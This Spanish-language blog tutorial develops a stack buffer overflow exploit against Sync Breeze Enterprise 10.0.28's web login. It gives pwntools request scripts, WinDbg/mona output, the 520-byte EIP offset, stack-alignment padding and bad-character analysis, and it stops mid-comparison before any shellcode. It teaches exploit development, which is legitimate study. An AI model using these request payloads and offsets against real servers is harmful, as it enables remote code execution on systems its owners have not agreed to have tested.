xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

Stack Overflow



Una vez entendimos los fundamentos básicos de explotación y el porque se ocasiona un Buffer Overflow podemos intentar explotar una aplicación, aunque hay algunos binarios de CTFs para aprender probablemente sea mejor explotar una aplicación real con un poco mas de complejidad para desarrollar la logica de explotación.


Configuration


La aplicación utilizada será Sync Breeze EnterPrise 10.0.28 el cual nos servirá como aplicación a explotar, usando el instalador es facil de instalar solo con siguiente

Esta aplicación crea un servicio llamado Sync Breeze Enterprise que podemos ver con el comando services.msc, algo a tener en cuenta es que cuando crashea el programa no basta con abrirlo de nuevo sino que debemos reiniciar este servicio, algo que hacemos es modificar el usuario que lo corre a un usuario local, esto no es necesario pero facilita el que el programa pueda interactuar con el escritorio

También será necesario habilitar el servidor web ya que ahi ocurre la vulnerabilidad

Una vez hecho esto podemos simplemente sincronizarnos al proceso syncbrs.exe


Crashing Application


Existen multiples formas de encontrar una vulnerabilidad de corrupción de memoria, algunas de las mas comunes son las siguientes:

• Fuzzing: Consiste en enviar multiples patrones de caracteres en todos los campos donde se pueda introducir un input para asi intentar corromper el programa

• Reversing: Consiste en desensamblar el programa para entender su funcionamiento y buscar las vulnerabilidades usando solo el codigo fuente de la aplicación

Las tecnicas anteriormente mencionadas son algo extensas y necesitaran su propio post para explicarlas asi que por ahora usaremos como base un exploit que se puede encontrar en exploitdb e intentaremos explotar la aplicación partiendo solo del poc

#!/usr/bin/python3
from pwn import remote

payload = b"A" * 1000

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

Al ejecutar el poc como vimos en fundamentos lo que pasara es que se sobrescribe una dirección de retorno en el stack y el registro eip termina apuntando a 0x41414141 que es el valor de AAAA en hex, el programa no encuentra la direccion y corrompe

❯ python3 exploit.py
[+] Opening connection to Windows on port 80: Done  
[*] Closed connection to Windows port 80

0:000> g
(16bc.1924): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00709ddc edx=00000350 esi=006fc4ce edi=010533f0  
eip=41414141 esp=01c0744c ebp=006fe420 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206  
41414141 ??              ???


Find Offset


Nuestra idea es tener control sobre el registro eip pero para ello necesitamos cuantos bytes se necesitan antes de sobrescribirlo, para ello podemos usar mona y crear un patron de caracteres que nos ayudaran a encontrar esa cantidad de bytes

0:000> .load pykd.pyd
0:000> !py mona pattern_create 1000
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 1000
Creating cyclic pattern of 1000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B  
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file

Ahora cambiamos las 1000 A's del payload por este patrón y enviamos el exploit

#!/usr/bin/python3
from pwn import remote

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"  

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

Algo a tener en cuenta es que cuando queremos volver a ejecutar la aplicación despues de que corrompe necesitamos reiniciar el servicio y volver a sincronizarnos

Una vez enviado el exploit el programa corrompe sin embargo ahora no apunta a 0x41414141 sino a 0x72413372 que es parte del patron de caracteres de mona

0:000> g
(990.1f78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006dd034 edx=00000350 esi=006d614e edi=01086ac8  
eip=72413372 esp=01c2744c ebp=006cec30 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206  
72413372 ??              ???

Ya que sabemos esto podemos usar pattern_offset para calcular la cantidad de bytes necesarios antes de sobrescribir el registro eip, que son 520 bytes

0:000> !py mona pattern_offset eip
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset eip
Looking for r3Ar in pattern of 500000 bytes
 - Pattern r3Ar (0x72413372) found in cyclic pattern at position 520  
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
 - Pattern rA3r not found in cyclic pattern (uppercase)  
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
 - Pattern rA3r not found in cyclic pattern (lowercase)

Ya que sabemos el offset podemos enviar 520 A's hasta antes de sobrescribir el eip que lo haremos con 4 B's y enviaremos 300 C's adicionales que se deberian guardar justo donde inicia el stack por lo que el esp deberia apuntar a esas C's

#!/usr/bin/python3
from pwn import remote

offset = 520
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 300

payload = junk + ret + stack

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

Al ejecutar el exploit el programa corrompe y el eip apunta a 0x42424242 o BBBB

0:000> g
(1fc4.1db4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006b02c4 edx=00000350 esi=006a976e edi=01036ac8  
eip=42424242 esp=01c0744c ebp=006a4920 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206  
42424242 ??              ???

Un problema especificamente de este programa y no de otros es que el esp apunta a 0x01c0744c sin embargo las C's inician en 0x01c07448 que esta 4 bytes antes por lo que se pierde un dword y si esto fuera un shellcode quitaria algunas instrucciones

0:000> dds esp - 8 L5
01c07444  42424242                 (esp - 8)
01c07448  43434343                 (esp - 4) [dword lost]  
01c0744c  43434343                 (esp + 0)
01c07450  43434343                 (esp + 4)
01c07454  43434343                 (esp + 8)

Para evitar ese problema agregaremos 4 C's que seran el dword que se pierde y justo después 300 D's que se deberian guardar justo en el stack donde apunta esp

#!/usr/bin/python3
from pwn import remote

offset = 520
junk = b"A" * offset

ret = b"B" * 4
filler = b"C" * 4
stack = b"D" * 300

payload = junk + ret + filler + stack

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

Si miramos la memoria ahora la dirección del esp apunta justo donde estan las D's

0:000> dds esp - 8 L5
008e7444  42424242                 (esp - 8)
008e7448  43434343                 (esp - 4) [dword lost]
008e744c  44444444                 (esp + 0)
008e7450  44444444                 (esp + 4)
008e7454  44444444                 (esp + 8)

0:000> db esp
008e744c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e745c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e746c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e747c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e748c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e749c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e74ac  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
008e74bc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  


Find Badchars


Algo importante es detectar bytes que puedan dar problemas, ya que es posible que el programa tenga problemas con algunos caracteres especificos y cortar la cadena, si esto pasa en un shellcode eliminara muchas de las instrucciones y no se ejecutará

0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

Modificamos el exploit para que en lugar de guardar D's en el stack guarde nuestro bytearray de los 256 posibles caracteres para despues comparar esa direccion de memoria con el .bin que nos creo mona de todos los posibles badchars

#!/usr/bin/python3
from pwn import remote

offset = 520
junk = b"A" * offset

ret = b"B" * 4
filler = b"C" * 4

badchars  = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload = junk + ret + filler + badchars

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data

shell = remote("Windows", 80)
shell.send(content)

Al enviar el exploit los 256 bytes deberian estar en el stack, asi que usando mona comparamos el .bin con esa direccion de memoria, algo interesante es que nos marca todos los caracteres como badchars excepto 0x00, sin embargo esto pasa porque 0x00 o null byte se usar para indicar la terminacion de una string por lo que todo lo que esta delante de el no se escribe, nuestro primer badchars es 0x00

0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
    Read 256 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c3744c | [+] Comparing with memory at location : 0x01c3744c (Stack)
0x01c3744c | Only 1 original bytes of 'normal' code found.
0x01c3744c |     ,-----------------------------------------------.
0x01c3744c |     | Comparison results:                           |
0x01c3744c |     |-----------------------------------------------|
0x01c3744c |   0 |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f| File
0x01c3744c |     |   fd 73 00 c8 6a 09 01 10 ef 5b 00 c0 71 08 01| Memory
0x01c3744c |  10 |10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f| File
0x01c3744c |     |c8 6a 09 01 06 00 00 00 08 ab c3 01 00 00 00 00| Memory
0x01c3744c |  20 |20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f| File
0x01c3744c |     |00 00 00 00 00 fd a8 00 01 00 00 00 00 00 00 00| Memory
0x01c3744c |  30 |30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 02 00 00 00 a8 c1 73 00| Memory
0x01c3744c |  40 |40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f| File
0x01c3744c |     |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 a8 00| Memory
0x01c3744c |  50 |50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f| File
0x01c3744c |     |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  60 |60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f| File
0x01c3744c |     |c4 d0 c3 01 f8 aa c3 01 70 74 c3 01 00 00 00 00| Memory
0x01c3744c |  70 |70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  80 |80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  90 |90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  a0 |a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  b0 |b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  c0 |c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  d0 |d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  e0 |e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |  f0 |f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
0x01c3744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c |     `-----------------------------------------------'
0x01c3744c | 
0x01c3744c |             | File      | Memory    | Note       
0x01c3744c | -------------------------------------------------
0x01c3744c | 0 0 1   1   | 00        | 00        | unmodified!
0x01c3744c | 1 1 255 255 | 01 ... ff | fd ... 00 | corrupted  
0x01c3744c | 
0x01c3744c | Possibly bad chars: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff  
0x01c3744c |

Lo que hacemos es crear un nuevo bytearray que omita el byte 0x00, esto creará un .bin que elimina al inicio el null byte, además eliminamos ese byte del exploit

0:000> !py mona bytearray -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"  
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"  
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"  
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"  
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"  
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"  
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"  
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Done, wrote 255 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

badchars  = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Enviamos el exploit y al comparar stack con el .bin omite 0x00 y hasta el byte 0x09 los bytes son los mismos sin embargo parece que 0x0a no se llega a escribir correctamente en el stack por lo que el propio mona nos lo sugiere como badchar

0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp  
[+] Reading file C:\mona\bytearray.bin...
    Read 255 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | Only 10 original bytes of 'normal' code found.
0x01c2744c |     ,-----------------------------------------------.
0x01c2744c |     | Comparison results:                           |
0x01c2744c |     |-----------------------------------------------|
0x01c2744c |   0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File
0x01c2744c |     |                           00 a8 00 78 71    01| Memory
0x01c2744c |  10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File
0x01c2744c |     |c8 6a 10 01 06 00 00 00 08 ab c2 01 00 00 00 00| Memory
0x01c2744c |  20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File
0x01c2744c |     |00 00 00 00 00 fd 8a 00 01 00 00 00 00 00 00 00| Memory
0x01c2744c |  30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File
0x01c2744c |     |00 00 00 00 00 00 00 00 02 00 00 00 98 b0 65 00| Memory
0x01c2744c |  40 |41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50| File
